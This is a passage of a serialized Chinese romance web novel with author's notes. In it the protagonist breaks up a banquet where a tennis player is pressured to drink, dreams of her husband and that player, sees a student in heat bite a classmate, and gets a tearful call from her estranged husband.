原以为这件事便到此为止,谁曾想刚坐下,另一个女人的声音便响起。 “沈先生你这是什么意思,怎么只敬他不敬我,难道看不上我吗?” 其他人也纷纷附和。 “是啊。” “沈先生你可不能厚此薄彼啊。” 沈霁脸色肉眼可见地冷了下来,尤其是在瞥见一旁女人玩味的神情的时候。 泥菩萨还有三分脾气,沈霁扯了下嘴角,语气嘲讽道:“杨小姐,这也是你的意思吗?” 杨清容一脸无辜地眨了眨眼:“怎么了,只是给他们敬杯酒而已,这是什么很让你为难的事情吗?而且他们可都是你的粉丝,平时日理万机到连电话都打不通,今天为了看你的比赛特意空出时间大老远赶过来,你不会连这点面子都不给吧。” 沈霁还没表态,另一道声音紧跟着响起。 “罢了,沈先生不愿意就算了,反正我也不缺人敬酒。” 说这话的是一开始让沈霁敬酒的女人,她支着头看着他,皮笑肉不笑道:“不过你们团队缺不缺我这个赞助商我就不知道了。” 威胁,明晃晃的威胁。 如果只是针对沈霁个人的威胁他并不在意,偏偏是对整个团队的,在一开始答应杨清容的邀请的时候,他不光是不想得罪杨清容,还因为他知道他们团队的赞助商也在。 原以为只是一场和以往一样再普通不过的应酬,如今看来这个饭局从一开始就是针对他的鸿门宴。 沈霁不知道自己到底哪里得罪了杨清容,让她一个杨氏集团的大小姐这么大费周章地布局对付自己。 沈霁不明白,白琼却清楚,不过是她自以为的清楚。 这不过是杨清容追求人的方式罢了。 向来讲究效率的杨大小姐,追求人的方式也和学生时代一样简单粗暴,依旧是看上就上的原则,没有一点迂回扭捏。 只是这个“上”从以前精神上的交流变成了如今肉/体上的沟通。 但是,这样真的好吗? 虽然沈霁赴约了算是接受了她的示好,可一下子就上本垒会不会有点太快了? 如果是以前她那些用完就扔的情人也就算了,她不是说这次是认真的吗,怎么也和以前一样,甚至态度还要更加轻慢随意。 而且就算再急性子再想和他进展快点发生关系什么的,直说就好了,干什么非要当众把人灌醉,还是以这样刁难让人难堪的方式…… 未免也太不尊重人了。 白琼抿着嘴唇,心里头一次对自家好友这样不满。 “怎么了,瞧你眉头皱得都能夹死苍蝇的样子,心疼了?” 白琼瞪了她一眼:“胡说八道什么,我只是觉得你这样做有点过了,你不是喜欢他吗,这么纵容他们刁难他就是你所谓的喜欢?” 她说这话的时候声音压的很低,除了杨清容没人听得到。 “喜欢?” 杨清容咀嚼着这个字眼,似笑非笑道:“我就是因为喜欢他才迫不及待想要尽快和他生米煮成熟饭啊,我可没你那么能忍,结婚五年还是在你婆婆的帮助下才吃到肉。” “杨、清、容。” “好好好,我不说了。真是的,这年头还不让人说实话了。” 她耸了耸肩,然后收敛了神情说道:“其实吧我不是真的想让他们把人灌醉干那档子事,我杨清容想上哪个男人还用得着这么麻烦吗,这不勾勾手指的事情吗?” 白琼半信半疑:“那你这么做是为什么?” “调/教啊。” 杨清容手指勾着垂在脸颊的一缕头发,红唇上扬起一抹妩媚的弧度:“你别看这个沈霁我一叫就来,好像很好拿捏似的,实则并不是那么一回事。你想啊,他和顾厌迟那种眼高于顶的人能成为朋友,他会是那种贪图钱色就委身于人的人吗?” “……可他来了。” “那是因为他家最近资金链出了问题,而且多一事少一事不想得罪我而已,不是真的对我有所图。” 白琼懂了,但没完全懂:“这和灌他酒有什么关系?” “当然有关系啊,这家伙竟然只是出于不想得罪我才赴约,而不是冲着我这个肤白貌美,多财多亿的大美人来的,来的时候还迟到了。现在我们还没确定关系就对我这么不上心,以后真在一起了万一也和顾厌迟对你一样对我不理不睬怎么办?我不得好好折腾下他,给他个下马威。” 杨清容一本正经的胡说八道,可细品似乎又有那么点道理,也很符合她蛮不讲理的性格的,更让白琼无法反驳的是她拎出了顾厌迟。 白琼一下子沉默了。 女人观察着她的神情,发现她下颌紧绷,唇角下压,这并不是失落神伤的样子,而是不虞。 杨清容怕白琼帮沈霁解围,这才不得已拿顾厌迟举例,她已经做好了对方会难过,或者会恋爱脑的帮对方找借口说什么他本身就不喜欢她,这桩婚姻是他强求的这样老生常谈的话的准备,却没想到她什么也没说。 那这份不满就是针对顾厌迟了。 真是太阳打西边出来了,她还以为无论顾厌迟对她做什么她都毫无怨言呢。 “所以我的好白琼,收收你那怜香惜玉的心,行吗?” 白琼睫毛轻颤,那张素净的脸在头顶灯光的映照下如珠似玉的白。 “……那你注意点分寸,毕竟他是厌迟的朋友。” 杨清容听到她这话语气愉悦道:“放心,我心里有数。” 在白琼和杨清容低声交谈的这阵子工夫里,沈霁已经拿起了酒杯。 先前有些外露的情绪此刻完全收敛了干净,绸缎一般的长发乌润,有一缕垂落下来好巧不巧挡住了他的眉眼。 白琼觉得此刻的青年再一次变成了梦中那个藏在雾中看不清面容的样子,她下意识又去看他的手,骨节分明的手中酒液微晃,像凝在花上欲坠的水珠。 就和位置有高低之分一样,敬酒的顺序也是如此。 因此沈霁第一杯敬的是杨清容。 由于不满他也没说什么敬酒词,将杯子往下放,轻碰了下杨清容的酒杯,然后仰起脖子一饮而尽。 他喝的快但并不急,只是因为酒被人故意倒得很满,所以嘴角不可避免溢出了一点酒液。 沈霁的嘴唇本来就红,葡萄酒把他的唇色染得更艳,在冷白的皮肤下形成强烈的色差,竟然生生看出了一种艳丽的鬼感。 白琼咽了咽口水,有点不敢看他。 可下一秒一片阴影从她头顶覆来,带着葡萄酒的气息,以及掩藏在其中微不可闻的蝴蝶兰的香气。 “白琼小姐。” 男人的声音放得有些轻,又是在这样近的距离,酒气从他唇齿间呵出,微醺着她的感官,她明明是坐着的,却生出了一种轻飘飘的感觉。 那点儿蝴蝶兰的香气被眼前的酒气盖住,她也从莫名的恍惚中回神。 眨眼间的工夫,酒杯已经被沈霁倒上了酒。 这让不喝酒的白琼错过了第一时间拒绝他敬酒的时机。 算了,只是一杯酒而已。 白琼这么想着,正要伸手去拿酒杯—— “她不喝酒。” 杨清容突然出声。 沈霁递酒的动作一顿,酒液险些洒出来。 她支着头,看着沈霁那张已经慢慢染上潮红的脸,唇角勾起一抹恶劣的弧度。 “她那一杯麻烦你帮她喝了吧。” 因为长期被沈父带着应酬,沈霁的酒量被练得很好,不说千杯不倒几十杯不成问题,可今天不知怎么回事喝了几杯就有些视野模糊了。 再喝下去会出事的。 身体的燥热和意识的混沌让沈霁想起了五年前,那场来势汹汹的热潮几乎把他变成了没有理智只有欲望的野兽。 沈霁微喘着气,拿着酒杯的手在颤抖。 不知道是酒精麻痹了他的神经还是舌头,他此刻脑子乱成一团,连一句拒绝的话都没办法自如组织出来。 “白琼……小姐……” 他看着眼前出现重影的女人,努力且艰涩地开口。 同样的语句,同样的四个字,可因为断字有了截然不同的意味,加上他越说越轻,后面“小姐”两个字很难被听到。 像是直接在唤她的名字。 白琼指尖动了下,心头也有什么被跟着搅动了起来。 他又唤了她一声,这一声比之前更轻更低,也更艰难,像一缕随时都会散在风中的烟雾,脆弱又飘渺。 杨清容见他一直举着酒杯没动作有些不耐烦了,出声催促:“快点儿。” 沈霁深吸了一口气,认命的准备把酒往嘴边送,“哐当”一声,伴随着声音同时到来的是冰凉的酒液。 桌上的葡萄酒倒了,酒液染红了桌布,也将沈霁的衣服浸湿一片。 众人都被这个变故弄得一 怔,纷纷把目光投向白琼。 白琼面无表情地拿着纸巾擦拭着手上的酒渍,声音比酒还要冷。 “不好意思,手滑了。”—— 作者有话说:久等了么么哒 第22章 晚上这场饭局最后以白琼打翻了酒, 沈霁不得不离开清理衣服而结束。 白琼已经做好了杨清容会因为自己坏了她的好事而生气的准备,在回去的路上设想了无数次要如何应对的腹稿,结果直到车子停靠在了别墅大门也无事发生。 “怎么了, 还愣着干什么?下车呀。” “哦哦, 好, 好的。” 白琼从车上下来, 盯着女人看了一会儿, 嗫嚅着嘴唇道:“你不生气吗?” “生气什么?你帮沈霁解围?嚯,这有什么好生气的, 再说了我早就猜到你会这么做,准确来说你要是真的眼睁睁看着我灌醉什么都不做的话那就不是你了。” 杨清容这样说白琼心里更不是滋味了, 她其实早就看出来对方并不是真的因为沈霁迟到或是想给他立规矩才这样刁难他的,她并不是那样小心眼的人。 可她为什么要这样针对沈霁这个才见一次面的陌生人呢? 白琼思来想去只能想到一个理由——因为顾厌迟。 杨清容讨厌顾厌迟, 所以厌屋及乌对沈霁也没什么好感。 “对了,你觉得沈霁怎么样?” 白琼一愣, 完全没想到她会问这种问题:“……提问的对象是不是反了,对他感兴趣的不是你吗?” “别装了,你肯定发现我说对他感兴趣什么都是假的了, 我可不会喜欢顾厌迟的好友, 那种感觉跟喜欢上顾厌迟一样,怪恶心的。” 光是言语还不能表达她的反胃, 她还做了一个呕吐的动作,这才继续道:“但你和我不一样, 你对他这个被你丈夫少有认可的好友应该印象还不错吧。” 截然相反,糟透了。 这既是实话,也是违心的话。 实话是正是那个梦的影响,白琼对沈霁有一种情感上的排斥, 甚至反反感,光是想到顾厌迟对他和对自己那截然不同的态度她就嫉妒得要死,难受得要死。 然而让她更难以接受的是她生理上却是被他所吸引着。 杨清容把她想的太好了,的确,换成其他人被灌酒的话她绝对不会袖手旁观,但是沈霁却不一定。 嫉妒让白琼变得丑陋,她在看到沈霁被强迫着不得不逐一敬酒的时候,她心里竟然生出了一股恶劣的快意。 然而最终她还是帮他了。 可不是因为动了恻隐之心,只是因为她看到了他的眼睛。 那双眼睛当时由于在和她敬酒,于是他努力地想要看清自己。 沈霁的眼睛很漂亮,上挑的眼尾泛着绯红,漆黑的眼瞳带着迷离的雾色,长而浓密的睫毛轻轻颤动着,像蝴蝶振翅,却又带起巨大的风暴。 白琼在和他四目相对的时候便不知不觉被卷入这场风暴之中,无法脱身。 然后她的身体便动了。 等待回过伸来后白琼才发现自己将酒推倒的事实。 这简直,简直就像是他操纵着自己这样做了,而不是出于她的意识。 这种情不自禁,不受控制的感觉在她目前二十五岁的生命里只且只有一个人带给她过,那个人是顾厌迟。 现在沈霁的出现打破了这种唯一性,这让白琼感到慌乱又羞恼。 “我爱的人是顾厌迟。” 白琼冷不丁冒出这么一句,这馿唇不对马嘴的回答让杨清容觉得一阵莫名。 “你好端端的表白你老公干什么?我问的是你对沈霁……” “球打的不错,酒量一般。不过我不喜欢网球,也不喝酒。” 杨清容:“……” 也就是说哪儿哪儿都看不上呗。 白琼不是一个刻薄的人,相反的她做什么只要不是触碰她原则的她都会留一线,像这样毫不留情的评价一个人还是头一回。 而且还挂脸了。 杨清容看着女人一脸冷沉的样子,心里少有的对自己的审美产生了质疑—— 沈霁真的有那么差吗?还是说白琼这家伙和正常人审美不同,不喜欢好看的喜欢丑的? 这也不应该啊,她要是有恋丑癖也不会看上顾厌迟啊。 最终杨清容只能得出一个结论,那就是沈霁不是她喜欢的类型。 也是,她喜欢的是顾厌迟,顾厌迟和沈霁在容貌上可以说不分伯仲,但却是截然不同的两个类型。 杨清容很是郁闷,敢情自己筛选考察又布局了一大堆,想要找个能让白琼动心,让她快速移情别恋和顾厌迟离婚脱离苦海的战术到头来白忙活一场。 啧,还以为这次有戏呢。 白琼对于杨清容在想什么全然不知,就算知道了也没空管,她现在脑子很乱,一会儿浮现出顾厌迟的脸,下一秒又被沈霁那张醉酒酡红的面容取代。 食色性也,人会被美丽的事物吸引是烙印在基因里的本能。 可白琼抗拒着这个本能,而因为强烈的抗拒,物极必反之下她对沈霁更为厌恶了。 同时也厌恶着被吸引的自己。 “……要是没什么事我先回房间了,你也早点洗漱休息吧。” 白琼没什么聊天的兴致,在杨清容还想说什么之前先一步终止了话题,也不看她,拖着沉重的脚步上了楼。 一开始她以为觉得脚步沉重只是因为心累,可渐渐的发现并不是那么一回事。 白琼在洗完澡出来的时候看了一眼镜子,在看到自己脖子的时候一顿。 她用手将镜子上的雾擦干净,本就被热气蒸腾的泛红的皮肤之上有一块红的滴血。 在左边颈侧的位置。 不仅红得吓人,还微微凸起,像有什么东西想要从皮肉里顶开破出。 白琼试着用手摸了下,只有硬币那么大,很烫,除了烫似乎还在动,一下一下,宛若跳动的脉搏。 这种触感陌生又熟悉……她想起来了,顾厌迟的脖子上也有这么一块软肉,自己之前在被药物加热潮的影响下不受控制动嘴咬下的就是这个位置。 这到底是什么东西?痘痘,还是富贵包? 白琼又看又摸又搜索了好一会儿,研究半天也没研究出个所以然来,虽然凭空冒出这么个东西有点奇怪,但她身体并没什么不适也就没太在意。 关下灯躺下,她开始酝酿睡意。 白琼的睡眠质量一直不大好,尤其是在近期开始做那些怪梦之后,按照以往的情况没个半个多小时她很难睡着,今天却是个例外,几乎在她脑袋刚沾上枕头没多久她便进入了梦乡。 她又做梦了,这一次那个总是看不清脸的人终于拨云见雾地露出了真面目。 是沈霁的脸。 白琼一点也不意外,甚至有一种果然如此的讽刺感。 在这一刻白琼真正确认了自己做的真的是预知梦,在现实世界里沈霁才杀进云顶杯的半决赛,梦中的他已经取得了最终的胜利。 “恭喜。” 顾厌迟将手中的那束蝴蝶兰送给了沈霁,后者对于男人的出现微微一怔,盯着他看了一会儿,扯了下嘴角。 “你这么堂而皇之来看我的比赛你家那位知道吗?” 顾厌迟沉声道:“我们这么久没见,你除了挖苦我就没有别的话想和我说了吗?” “有啊。” 沈霁逼近了一步,让两人本就不远的距离陡然拉近。 “五年前你不是已经做出了选择了吗,在我和你妻子之间。你现在为什么又要出现在我身边,又要来招惹我?还是说……” “你后悔了?” 顾厌迟拿着花的手用力了几分,本就脆弱的花茎被他折断,一两支蝴蝶兰垂落下来,好巧不巧拂过面前人昳丽异常的眉眼,又扫在他的睫羽,最后无声垂在两人之间。 男人俊朗的面容逆着光,深邃的轮廓比夜色还要沉郁。 顾厌迟直勾勾注视着沈霁,一寸一寸描摹着他的五官,眼神中带着白琼从没见过的缱绻情意。 “……是,我后悔了。” 梦到这里没了后续,因为白琼醒了,被惊醒了。 她猛地睁开眼,神情可以称得上惊恐地望着漆黑的天花板,她大口大口喘着气,明明盖着被子浑身上下却冷得发抖。 白琼好一会儿才发现自己后背起了冷汗,睡衣都被浸湿了。 哈,真是疯了,她怎么会做这样的梦? 自己就算再嫉妒沈霁也不该把他们往那种关系上联想啊,这太荒唐了。 这不是预知梦,只是她的嫉妒心在作祟。 因为得不到顾厌迟的爱所以她总是患得患失,害怕顾厌迟会离开她,害怕他会在突然有一天有了喜欢的人。 像这样的梦白琼不止做过一次,只是以前那个会把顾厌迟抢走的对象通常是季青禾,这次则变成了沈霁。 白琼被自己给气笑了,她知道自己在这段感情里很卑微,但没想到卑微成这样,竟然把一个男人都当成了假想敌。 现在是凌晨四点,做了这么个恶心得让人反胃的梦后白琼也没了睡意,躺在床上望着窗边,眼睁睁等到了天亮。 这导致去学校的时候,工位对面的李柳看到她眼下的青黑吓了一跳。 “白老师,你周末没休息好吗,气色怎么那么差?” 梅开两度的话题,上周也出现过。 李柳话音刚落也意识到了这一点,没忍住噗嗤笑出了声,随即正色道:“白老师,身体是革命的本钱,你再怎么操心那群熊孩子也还是要以自己的身体为重啊。” 她以为白琼这是操心操/的,白琼正愁找不到借口,便顺着道:“好,我会注意的。” 她揉了揉太阳穴,看到手边堆积如山还没有来得及批改的作业头更疼了。 白琼教的原本是语文,如今又兼顾了王老师的数学,也就是说她现在不光教两门科目,还要管理整个班,身兼数职,也难怪李柳会觉得她这样是过于操劳导致的。 按理说一般人在这样高强度的工作下很难吃得消,意外的是白琼并没有什么太大的感觉,甚至还有点余力做其他事情。 这段时间她的精力似乎异常的好。 白琼一心两用,一边飞速批改着作业,一边备着教案,统共用了不到半小时就做好了。 今天无论是语文课还是数学课排的都不多,早上一节,下午一节,教案什么其实用不着那么着急准备,只是上午第一节是体育课。 别班的体育课是课外活动和放松的时间,而三班的体育课则是矛盾高发期。 矛盾主要集中在齐缜和江峤这两人之间,上次,乃至上上次,他们都是在体育课上擦枪走火的。 白琼决定今天这节体育课她全程监督,一旦发现他们有任何口角或动手的矛头,她就立刻天降正义。 也不知道是迫于白琼的淫/威还是这两人在经过她的批评教育后他们真的意识到了错误,总之上午的这堂体育课全程都还挺相安无事的。 白琼很欣慰,见快要下课了,从台阶上站起来起身准备回办公室,不想刚抬脚余光便看到一个纤细的身影急匆匆往操场外面跑去。 她的动态视力很好,即使对方跑的只能看见残影白琼还是第一眼就认出了那个女学生是班上的叶纾羽,也就是齐缜动心不自知的那个女生。 白琼起初也没太在意,以为她是急着上厕所什么的,可当她习惯性往人群中一扫,发现齐缜也不见了踪影。 这让白琼心中一下子警铃大作,想也没想就拔腿跟了上去。 起初只是怀疑,等到白琼追着叶纾羽,看到她往楼梯口拐后她心里那种不祥的预感越发强烈了。 艹,别真是她想的那样啊。 白琼又气又急,原本想要冲过去及时制止他们,可下一秒又生生停住了脚步。 这个年纪的孩子自尊心和羞耻心都很强,齐缜也就算了,叶纾羽是个性格腼腆脸皮又薄的女孩子,本来和齐缜偷偷约会可能都已经用尽了全部的勇气了,要是被她抓了个正着肯定会羞耻地哭出来吧。 而且抓住了她要说什么,批评教育吗?告诉他们早恋是不对的? 可白琼是过来人,喜欢一个人哪里是那么容易就能说不喜欢就不喜欢的,没准越阻止他们越叛逆,非得在一起呢。 啊好烦,为什么王老师在的时候没遇到这种事情,她一上任就碰上了? 白琼烦躁地抓了抓头发,最终决定先静观其变一下。 如果他们只是想要偷偷见面独处一下,那她就睁一只眼闭一只眼,之后再想办法徐徐拆散之,如果他们没忍住干了点什么少儿不宜的事情那她就及时跑过去阻止。 嗯,就这么办。 白琼打定主意后反而更紧张了,她深吸了一口气,轻手轻脚躲在一旁,然后慢慢探出头往楼梯口方向看去。 叶纾羽完全不知道自己后面有个尾巴,她捂着脖子,大口大口喘着气。 她也不知道自己这是怎么了,最近总是时不时发热,打针吃药都没用,只有等身体自己撑过去。 好在每次这股奇怪的热潮消退的时间很快,一般十来分钟就能下去。 只是最近她不光身体会时不时发热,伴随着热潮的同时她的牙齿会变得很痒,痒的她想要用力啃咬着什么。 起初她也没太在意,直到上次跑操的时候后排的齐缜不知怎么突然靠近,她看到他的第一反应不是吓了一跳,反而是兴奋。 好在在叶纾羽即将失控之前,江峤突然上来给了齐缜一拳,等到她回过神来之后两人已经扭打在了一起。 叶纾羽听到江峤一边揍人一边骂对方“变态”,她瞳孔一缩,难以置信地捂着嘴。 齐缜是不是变态叶纾羽不知道,可叶纾羽觉得自己是变态无疑了。 因为当时要不是江峤把人给拽到一边打的话,她已经扑上去狠狠咬住了齐缜的脖子。 正是那个可怕的念头让叶纾羽心有余悸,这次在感到身体发热的第一时间她便跑出了人群,想躲到了楼梯口等到热潮散去再离开。 谁曾想她刚跑到楼梯口没多久,一阵脚步声便从上面传了过来。 “叶纾羽?你怎么在这儿?” 是江峤。 少年穿着一件黑色球服,一手拿着篮球,一手拿着一罐可乐。 可乐是刚从自动贩卖机里面取出来的,易拉罐表面沁着水珠,少年的额头和鼻尖因为刚运动完起了一层薄汗,阳光从楼梯口上的那个天窗透进来照在上面,折射的光耀眼的让人目眩。 江峤生了一张好皮囊,这光一打整个人更是吸睛。 白琼在看到出现的人是江峤后一直悬着的心终于放了下来。 她拍了拍胸口,还好还好,来的人是江峤。 看来是她多虑了,她就说嘛,叶纾羽那样的好学生就算再情窦初开,情难自禁,也还没有大胆到做出和男同学偷偷约会的事情来。 可下一秒,白琼放下去的心不光重新提了上来,而且有点死了。 因为她看到自己眼中的好学生似突发恶疾一般,猛地朝江峤扑了过去。 ??? ???! 白琼错愕,白琼震惊,白琼发出了尖锐的爆鸣!—— 作者有话说:不好意思来晚了 和我家老辈子吵了一架耽搁了点时间,么么哒。明天争取多写点。爱你们 第23章 江峤在被叶纾羽扑倒的那一瞬间整个人都是懵的, 但懵的不是因为自己被扑倒了,而是自己竟然被一个女生扑倒了。 woc,woccc! 叶纾羽看着弱不禁风的力气怎么那么大?要知道江峤的力气在同龄人中已经很大了, 平时他这一身牛劲儿三个保镖都摁不住他。 这年头真是见鬼了, 一个白琼, 一个叶纾羽, 这些女的力气怎么不正常, 金刚芭比吗? 江峤试着推了推,发现没推动, 有些恼羞成怒:“叶纾羽,你恩将仇报啊你, 我上周才帮你从齐缜那里脱离魔爪,你就这样报答我的?” “嘶, 你起来,给我起来!” 叶纾羽此刻被烧糊涂了, 本来就热,一靠近江峤更是热得意识不清。 哪怕少年的声音再大,说话的时候离得再近, 落到她耳朵里都变成了嗡嗡的耳鸣。 她什么也听不清, 视野也模糊,只能眯着眼睛尽可能凑近去看。 江峤看到少女陡然放大的脸像被掐住脖子的鸡一下子哑了声, 身体僵硬,缓了下磕磕绊绊开口:“你, 你矜持点啊,虽然你长得还算可爱,也挺优秀的,但我喜欢的不是你这类型, 你就算想要报答我英雄救美的恩情,也,也没必要那么老套的要对我以身相许啊。” 叶纾羽这次听清了一点,但脑子却没办法接收处理信息。 她视线灼热,直勾勾盯着江峤不断张合的嘴唇,下意识咽了咽口水。 此时好巧不巧来了一阵穿堂风,风来时搅动着空气,将少年身上被汗水掩盖的气息吹了过来。 刺鼻的,硝烟的味道。 这种平日里叶纾羽闻到只会捂着鼻子躲开的气息在此刻如同久旱逢甘霖,让她口舌干燥。 “叶纾羽,你先起来,别冲动,我……?!” 没说完的话变成了吃痛的闷哼。 叶纾羽已经对准少年的脖子咬了下来,她下口很重,江峤疼得龇牙咧嘴,忍不住破口大骂起来。 “嘶,我艹了,叶纾羽你有病啊,你属狗的吗?!” 江峤还想要接着骂,一缕蓝莓的香气缠了过来,他脑子在闻到那香气后变得一片空白,整个人僵在原地任由对方啃咬。 叶纾羽咬上去后那股燥热得到了一点缓解,但远远不够。 只是咬还不行,还要,还要…… 还要干什么? 她的眼神出现了一瞬间的迷茫,也是在这时候白琼一个箭步冲了过来,把叶纾羽一把从江峤身上扯开。 白琼一开始见叶纾羽朝着江峤扑过去的时候整个人都是懵的,她喜欢的不是齐缜吗,为什么要扑江峤? 因为他前段时间在齐缜疑似要骚扰她的时候出手帮了她,所以移情别恋了? 可很快的这个想法在看到对方咬上了少年的脖子后便荡然无存了,剩下的只有惊恐。 白琼一手拽着失控想要再次扑咬过去的叶纾羽,一手摁住了先前还竭力想要推开对方,此刻一反常态想要贴上叶纾羽的江峤。 空气里火/药的味道越发浓烈,还有一股蓝莓的甜香,是从叶纾羽身上传来的。 这两个气息哪个好闻再明显不过,但白琼一反常态的对蓝莓的味道感到了排斥。 要知道她最喜欢吃的水果就是蓝莓。 而从少年身上散发的火药气味呛得人鼻子难受,白琼却忍不住想要多闻几下。 吸引和排斥,热潮与气息。 还有像失控的野兽一样的胡乱的啃咬和标记。 白琼看着江峤脖子上被咬的沁出血珠的地方,耳畔是两人,不,三人粗重的喘息交织。 两股气息在互相吸引,急不可待的想要挣脱中间白琼的束缚交缠, 白琼被那异常的气息刺激得颈侧发热,是昨晚她照镜子的那块凸起的地方。 在被它们折腾得不胜其烦的时候,她福至心灵间无师自通了什么,然后一缕比两者更强的香气溢出,瞬息之间将它们压制得不敢动弹。 在气息被压制后没多久,两人慢慢恢复了理智。 一个因为自己失控咬人而脸色苍白疯狂对着对方鞠躬道歉,一个因为自己被一个手无缚鸡之力的女生欺负的毫无还手之力而脸色铁青,咬牙切齿警告她不许把今天发生的事情说出去,然后愤愤离开了。 作为老师的白琼应该带江峤去医务室处理下伤口的,又或者叫人陪他去,可白琼此刻脑子完全没办法正常运转。 “白老师……” 叶纾羽看着女人一脸恍惚地站着一动不动,以为她是被自己发疯咬人的举动给吓坏了,红着眼眶解释道:“老师,我,我没有疯,我也没有狂犬病,我去检查过我很正常的,我……” “呜呜,我也不知道自己到底怎么了,老师我好害怕,我不想伤害别人,可我控制不了,我每次身体发热的时候我就很想咬人,呜呜,我也不想的……” 白琼眼眸转了下,看着哭的乱七八糟的小姑娘,动了动有些僵硬的手,然后把她抱在怀里。 她涩着声音道:“老师知道。” 不对劲。 一切都不对劲。 不止她不对劲,叶纾羽,江峤,齐缜,还有顾厌迟……他们都不对劲。 或许真正不对劲的是这个世界。 …… 白琼不知道是在怎么坚持到下班的,又是怎么拖着如同灌了铅的身体回到了杨清容的别墅。 杨清容在中午的时候给她发了消息,说她晚上要参加一个朋友的派对,可能晚上回来,也可能不回来,让她不用做她的晚饭。 她今天也没什么胃口,杨清容不回来索性她也就不做饭了。 白琼坐在沙发上发了一会儿神,以前顾厌迟一个月才回来一两天,她也是一个人这样待在家里。 当时只觉得孤独,此刻她突然觉得害怕。 一个人在这样偌大的空间里,一旦发生了什么谁也没办法第一时间赶过来。 白琼受不了这样安静得有些诡异的环境,拿起遥控器打开了电视。 她随便调了个频道,然后把音量调大。 一道更大的声音从白琼的口袋传出,她反应慢半拍地反应过来是自己的手机响了。 白琼又把电视音量调小,垂眸看了下来电人。 苏芸女士。 她眼眸闪了闪,不知道这时候对方打电话过来做什么。 白琼摁了接听键,刚把手机放在耳边还没来得及说话便听到了对面女人语气急切地问道:“白琼你现在在哪儿,怎么这么晚还没回来?” 白琼一愣:“妈,您在我家吗?” “对,我在你家,厌迟也在……” “厌迟也在?!” 白琼一下子从沙发上弹坐了起来,声音陡然拔高:“他怎么也在?妈,您不是说了一切有您,您会帮我的吗?你就是这么帮我的?带着厌迟一块儿回来兴师问罪?!” 苏芸女士一噎:“你冷静点,人不是我带的,是他自己主动回来的。不仅主动回来,他还主动让我给你打电话让你回家呢。话说你怎么回事,厌迟打你电话怎么打不通,发消息你也不回?你把人拉黑了?” 白琼气势一下子弱了下来:“……我怕他打电话过来骂我,我把他号码和微信消息都给屏蔽了。” “……” 电话那边的女人深吸了一口气,给气得。 此时无声胜有声,白琼没看到对方也知道对方那张脸骂的很脏。 苏芸忍着火气道:“不管你现在在哪里,手头有什么事情都给我放下,给我立刻,马上回来。” 如果是苏芸叫她回去她也就回去了,偏偏顾厌迟也在家,偏偏她又说是顾厌迟让她回去的。 不是兴师问罪还能是什么? 白琼嗫嚅着嘴唇想要挣扎下,那边的苏芸女士语气疲惫道:“不是你想的那样,厌迟不是来找你兴师问罪的,他只是单纯想你了而已。” 白琼:“……妈,我不是傻子,您想骗我回去可以编个好点的理由的。” 苏芸叹了口气,说道:“不信是吧,那我让他亲口跟你说。” 白琼听到苏芸唤了声“厌迟”,意识到她真的把手机给了顾厌迟,她捏着手机紧张得都快忘记呼吸了。 她以为顾厌迟会冷声命令她回来,又或者对她破口大骂。 然而两者都不是。 “白琼,白琼,我好难受,我好想你,我混蛋,我不是人,呜,我不该那么对你,你回来吧,我以后绝对绝对不会惹你生气了,呜,我……” “老婆,我爱你。” “啪嗒”,手机从白琼的手中滑落砸在了地上。 她无暇去看手机摔坏了没有,整个人似被定住了一样呆愣在原地。 先前还安静的可怕的环境此刻变得嘈杂了起来。 因为听筒 那边的声音越来越大,越来越急切。 最后变成了声嘶力竭的哭喊—— 作者有话说:白琼:今天是愚人节还是世界末日? 第24章 “啪”, 清脆的巴掌声让白琼确认自己没有做梦。 但她宁愿自己是在做梦,因为这太荒谬,太可怕了。 那个人叫她老婆, 说他爱她, 哭着喊着求着让她回家的人是顾厌迟? 到底是顾厌迟疯了还是她疯了, 还是说这是对方骗她回去在演戏? 几乎是这个念头冒出来的瞬间白琼就给压下去了, 不可能, 顾厌迟那么要强的一个人就算要她回去也是命令她回去,找人抓她回去, 唯独不可能用这样示弱讨好,甚至卑微的方式求着她回去。 啊, 她知道了,假的, 对面那个人只是一个和顾厌迟声音相似的人伪装成顾厌迟在骗她。 没准苏芸女士也是假的,白琼虽说和这个婆婆关系不算多好, 可对方为人没得说,承诺了会把责任揽在身上那就一定不会临时变卦搞背刺那一套。 所以真相只有一个,那就是顾厌迟特意找了两个人模仿苏芸和他的声线, 用什么爱她离不开她, 这种她只有在梦里才能梦到的甜蜜圈套骗她回去兴师问罪。 哈,白琼不知道该高兴还是该难过。 毕竟哪怕是圈套那也是顾厌迟专门针对她设计的圈套, 说的那些话都是她一直渴望从他口中听到的话。 可难过的也是如此。 白琼想不明白顾厌迟为什么要这么做,那么多方法可以逼迫她回去, 为什么非要选择这种于他来说称得上恶心的做法——对一个喜欢不爱的人捏着鼻子说这种话,哪怕是找别人模仿他的声线说的,也很倒胃口吧。 是在嘲讽她吗,“你想要什么我一直都知道, 但我永远不会给你,即使给你也不过是从他人那里宣之于口的虚假”。 像猫捉老鼠一样,猫在捕捉猎物的时候通常不会一下子抓住,而是会先戏耍猎物,一遍一遍捉住,又放掉,给了希望,再给无尽的绝望,最后将它的体力耗尽,精神凌迟,再将其拆吃入腹,连骨头都不剩下。 如果真是这样的话,白琼大约能理解顾厌迟为什么这么做了。 这的确是兵不血刃,又锥心刺骨的报复。 白琼的脸色白的没有血色,僵坐在沙发上,脑子混沌得像是信号不良,闪着满屏雪花的老式电视。 过了差不多十分钟,手机又再次响了起来。 来电人还是苏芸。 白琼没接,她怕再听到“顾厌迟”的声音,听到他让人违心的说出爱她的谎言,那种感觉像是一个在沙漠中走了三天三夜,饥渴难耐,终于在最后关头找到了一片绿洲,结果走近伸手一触碰,发现绿洲只是海市蜃楼的虚幻。 太绝望了,世上还有比这更残忍,更绝望的事情吗? 手机响了差不多五分钟才停,停了没多久又打了过来。 反复差不多四五次,苏芸女士发来了消息。 是一张照片。 白琼浑浑噩噩地点开查看,在看清照片的瞬间瞳孔一缩。 照片中的接近一米九的男人此刻却如同婴儿待在母亲的子宫里一样蜷缩在衣柜里,他的脸上满是泪痕,眼尾泛红,长长的睫毛湿漉漉的黏在一起。 那双漆黑深邃,让人不敢直视的眼瞳盛满了泪水,整个人脆弱跟易碎的瓷器一般,稍微一碰就会四分五裂。 这也可能是一张假照片,可太真了。 真到连她这个喜欢了顾厌迟这么多年的人也没办法从上面找出一点合成的破绽。 白琼抿着嘴唇死死盯着那张照片,理智和感情在天人交战,一个声音告诉她都是假的,这是顾厌迟针对她心理防线的精准报复,另一个声音却弱弱在说,万一是真的呢? 万一他真的需要她,真的……爱她呢? 这个可能微乎其微,可即使再微小也带着十足的诱惑力。 